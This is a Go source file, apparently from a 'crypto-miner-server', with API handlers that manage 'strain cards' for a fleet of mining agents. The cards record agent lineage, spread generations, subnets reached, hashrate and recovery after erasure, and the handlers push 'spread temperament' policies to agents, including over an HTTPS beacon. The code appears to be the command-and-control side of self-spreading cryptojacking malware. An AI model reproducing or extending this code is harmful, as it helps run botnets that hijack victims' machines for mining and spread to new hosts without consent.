package api

import (
	"encoding/json"
	"log"
	"net/http"
	"strings"

	"crypto-miner-server/internal/db"
	"crypto-miner-server/internal/models"
	"crypto-miner-server/internal/strategy"
)

type playStrainCardRequest struct {
	AgentID string `json:"agent_id"`
	CardID  string `json:"card_id"`
}

// GetStrainCards lists lineage strain cards (optionally filtered by agent_id).
func (f *FleetHandler) GetStrainCards(w http.ResponseWriter, r *http.Request) {
	if f.db == nil {
		writeJSON(w, []strategy.StrainCard{})
		return
	}
	agentID := strings.TrimSpace(r.URL.Query().Get("agent_id"))
	if agentID != "" {
		stored, err := f.db.ListStrainCardsForAgent(agentID)
		if err != nil {
			http.Error(w, err.Error(), http.StatusInternalServerError)
			return
		}
		writeJSON(w, decodeStrainCards(stored))
		return
	}
	stored, err := f.db.ListStrainCards(100)
	if err != nil {
		http.Error(w, err.Error(), http.StatusInternalServerError)
		return
	}
	writeJSON(w, decodeStrainCards(stored))
}

// PostPlayStrainCard applies a winning strain card preset to a target agent.
func (f *FleetHandler) PostPlayStrainCard(w http.ResponseWriter, r *http.Request) {
	if f.db == nil || f.ws == nil {
		http.Error(w, "fleet services unavailable", http.StatusServiceUnavailable)
		return
	}
	var req playStrainCardRequest
	if err := json.NewDecoder(r.Body).Decode(&req); err != nil {
		http.Error(w, "invalid body", http.StatusBadRequest)
		return
	}
	agentID := strings.TrimSpace(req.AgentID)
	cardID := strings.TrimSpace(req.CardID)
	if agentID == "" || cardID == "" {
		http.Error(w, "agent_id and card_id are required", http.StatusBadRequest)
		return
	}
	if _, err := f.db.GetAgent(agentID); err != nil {
		http.Error(w, "agent not found", http.StatusNotFound)
		return
	}
	stored, err := f.db.GetStrainCard(cardID)
	if err != nil {
		http.Error(w, "strain card not found", http.StatusNotFound)
		return
	}
	var card strategy.StrainCard
	if err := json.Unmarshal([]byte(stored.CardJSON), &card); err != nil {
		http.Error(w, "invalid strain card data", http.StatusInternalServerError)
		return
	}
	if card.ID == "" {
		card.ID = stored.ID
	}
	if inHospice, err := f.db.IsStrainInHospice(strategy.NormalizeStrainID(card.SpreadStrain)); err != nil {
		http.Error(w, err.Error(), http.StatusInternalServerError)
		return
	} else if inHospice {
		http.Error(w, "strain is in hospice — play-card disabled (museum archive)", http.StatusConflict)
		return
	}

	result, err := f.ws.PlayStrainCard(agentID, card)
	if err != nil {
		_ = (&OathLedgerBridge{DB: f.db, Hub: f.ws}).Record(
			AuthUsername(r), db.OathStrainCardPlay, agentID, card.SpreadStrain, db.OathOutcomeFail,
			map[string]interface{}{"card_id": cardID, "persona": card.Persona},
			map[string]interface{}{"error": err.Error(), "card_id": cardID},
		)
		writeJSON(w, map[string]interface{}{
			"success":  false,
			"error":    err.Error(),
			"agent_id": agentID,
			"card_id":  cardID,
		})
		return
	}

	log.Printf("[lineage] played strain card %q on agent %q (persona=%s play_id=%s sent=%v)",
		cardID, agentID, card.Persona, result.PlayID, result.Sent)

	_ = f.db.InsertAudit(AuthUsername(r), "play_strain_card", agentID, map[string]interface{}{
		"card_id":   cardID,
		"play_id":   result.PlayID,
		"persona":   card.Persona,
		"strain":    card.SpreadStrain,
		"root":      card.RootAgentID,
		"source":    card.SourceAgentName,
		"sent":      result.Sent,
		"queued":    result.Queued,
		"transport": result.Transport,
	})
	_ = (&OathLedgerBridge{DB: f.db, Hub: f.ws}).Record(
		AuthUsername(r), db.OathStrainCardPlay, agentID, card.SpreadStrain, db.OathOutcomeSuccess,
		map[string]interface{}{
			"card_id": cardID,
			"persona": card.Persona,
			"root":    card.RootAgentID,
		},
		map[string]interface{}{
			"card_id":   cardID,
			"play_id":   result.PlayID,
			"persona":   card.Persona,
			"sent":      result.Sent,
			"queued":    result.Queued,
			"transport": result.Transport,
		},
	)

	writeJSON(w, map[string]interface{}{
		"success":  true,
		"agent_id": agentID,
		"card_id":  cardID,
		"play_id":  result.PlayID,
		"persona":  card.Persona,
		"strain":   card.SpreadStrain,
		"sent":     result.Sent,
		"queued":   result.Queued,
	})
}

func decodeStrainCards(stored []db.StoredStrainCard) []strategy.StrainCard {
	out := make([]strategy.StrainCard, 0, len(stored))
	for _, s := range stored {
		var card strategy.StrainCard
		if err := json.Unmarshal([]byte(s.CardJSON), &card); err != nil {
			card = strategy.StrainCard{
				ID:                  s.ID,
				RootAgentID:         s.RootAgentID,
				SourceAgentID:       s.SourceAgentID,
				SourceAgentName:     s.SourceAgentName,
				SpreadStrain:        s.SpreadStrain,
				SpreadLane:          s.SpreadLane,
				Persona:             s.Persona,
				PeakHashrate:        s.PeakHashrate,
				ErasureRecoveryRate: s.ErasureRecoveryRate,
				TreeSize:            s.TreeSize,
				CreatedAt:           s.CreatedAt,
				UpdatedAt:           s.UpdatedAt,
			}
		}
		if card.ID == "" {
			card.ID = s.ID
		}
		out = append(out, card)
	}
	return out
}

func spreadTreeAgentsFromModels(agents []*models.Agent, joinLanes map[string]string, hashrates map[string]float64) []strategy.SpreadTreeAgent {
	out := make([]strategy.SpreadTreeAgent, 0, len(agents))
	for _, a := range agents {
		if a == nil {
			continue
		}
		lane := joinLanes[a.ID]
		hr := hashrates[a.ID]
		out = append(out, strategy.SpreadTreeAgent{
			ID:               a.ID,
			Name:             a.Name,
			IP:               a.IP,
			ParentAgentID:    a.ParentAgentID,
			SpreadGeneration: a.SpreadGeneration,
			SpreadStrain:     a.SpreadStrain,
			JoinLane:         lane,
			Hashrate:         hr,
		})
	}
	return out
}

func (h *WSHub) publishStrainCardForWinner(
	agentID, agentName, joinLane string,
	tierOrder []string,
	peakHashrate float64,
	attempts []strategy.TierAttempt,
) {
	if h.db == nil {
		return
	}
	allAgents, err := h.db.ListAgents()
	if err != nil {
		log.Printf("[lineage] list agents: %v", err)
		return
	}
	joinLanes := h.agentJoinLanesSnapshot()
	hashrates := h.agentHashratesSnapshot()
	treeAgents := spreadTreeAgentsFromModels(allAgents, joinLanes, hashrates)

	var parentLanes []string
	if h.breedingRegistry != nil {
		ag, _ := h.db.GetAgent(agentID)
		if ag != nil {
			fp := strategy.FingerprintFromAuth(ag.Platform, ag.IP, ag.FirewallDomain != nil && *ag.FirewallDomain)
			if bred, ok := h.breedingRegistry.GetBred(fp.Key()); ok {
				parentLanes = append([]string(nil), bred.ParentLanes...)
			}
		}
	}

	card := strategy.BuildStrainCard(strategy.BuildStrainCardInput{
		SourceAgentID:   agentID,
		SourceAgentName: agentName,
		SpreadLane:      joinLane,
		TierOrder:       tierOrder,
		PeakHashrate:    peakHashrate,
		Attempts:        attempts,
		TreeAgents:      treeAgents,
		ParentLanes:     parentLanes,
	})

	cardJSON, err := json.Marshal(card)
	if err != nil {
		log.Printf("[lineage] marshal card: %v", err)
		return
	}
	id, err := h.db.UpsertStrainCard(card.RootAgentID, agentID, cardJSON, db.StoredStrainCard{
		SourceAgentName:     card.SourceAgentName,
		SpreadStrain:        card.SpreadStrain,
		SpreadLane:          card.SpreadLane,
		Persona:             card.Persona,
		PeakHashrate:        card.PeakHashrate,
		ErasureRecoveryRate: card.ErasureRecoveryRate,
		TreeSize:            card.TreeSize,
	})
	if err != nil {
		log.Printf("[lineage] upsert strain card: %v", err)
		return
	}
	card.ID = id
	log.Printf("[lineage] strain card %q for tree root=%s source=%s wins=%d losses=%d subnets=%d erasure=%.2f",
		id, card.RootAgentID, agentName, len(card.Wins), len(card.Losses), len(card.Subnets), card.ErasureRecoveryRate)

	h.broadcastDashboard(Message{
		Type: "strain_card",
		Payload: mustMarshal(map[string]interface{}{
			"card": card,
		}),
	})
}

func (h *WSHub) agentJoinLanesSnapshot() map[string]string {
	h.mu.RLock()
	defer h.mu.RUnlock()
	out := make(map[string]string, len(h.agentLiveTelemetry))
	for id, telem := range h.agentLiveTelemetry {
		if lane, ok := telem["join_lane"].(string); ok && lane != "" {
			out[id] = lane
		}
	}
	return out
}

func (h *WSHub) agentHashratesSnapshot() map[string]float64 {
	h.mu.RLock()
	defer h.mu.RUnlock()
	out := make(map[string]float64, len(h.agentLiveTelemetry))
	for id, telem := range h.agentLiveTelemetry {
		if hr, ok := telem["mining_hashrate"].(float64); ok && hr > 0 {
			out[id] = hr
		}
	}
	return out
}

// StrainCardPlayResult is the outcome of playing a card on an agent.
type StrainCardPlayResult struct {
	PlayID    string
	Sent      bool
	Queued    bool
	Transport string
}

// PlayStrainCard pushes spread temperament from a lineage card to an agent.
func (h *WSHub) PlayStrainCard(agentID string, card strategy.StrainCard) (StrainCardPlayResult, error) {
	agentID = strings.TrimSpace(agentID)
	if agentID == "" {
		return StrainCardPlayResult{}, errAgentRequired
	}
	temp := strategy.TemperamentFromCard(card)
	policy := FleetAgentPolicy{SpreadTemperament: &temp}
	pushID := "strain-" + card.ID
	sent, failed := h.PushPolicyUpdate([]string{agentID}, policy, pushID)
	if sent == 0 && failed > 0 {
		return StrainCardPlayResult{}, errAgentNotConnected
	}
	result := StrainCardPlayResult{
		PlayID: pushID,
		Sent:   sent > 0,
	}
	if !h.isAgentConnected(agentID) && sent > 0 {
		result.Queued = true
		result.Transport = "https_beacon"
	}
	h.broadcastDashboard(Message{
		Type: "strain_card_played",
		Payload: mustMarshal(map[string]interface{}{
			"agent_id": agentID,
			"card_id":  card.ID,
			"play_id":  pushID,
			"persona":  card.Persona,
			"strain":   card.SpreadStrain,
		}),
	})
	return result, nil
}

var (
	errAgentRequired     = &strainCardError{"agent id is required"}
	errAgentNotConnected = &strainCardError{"agent not connected"}
)

type strainCardError struct{ msg string }

func (e *strainCardError) Error() string { return e.msg }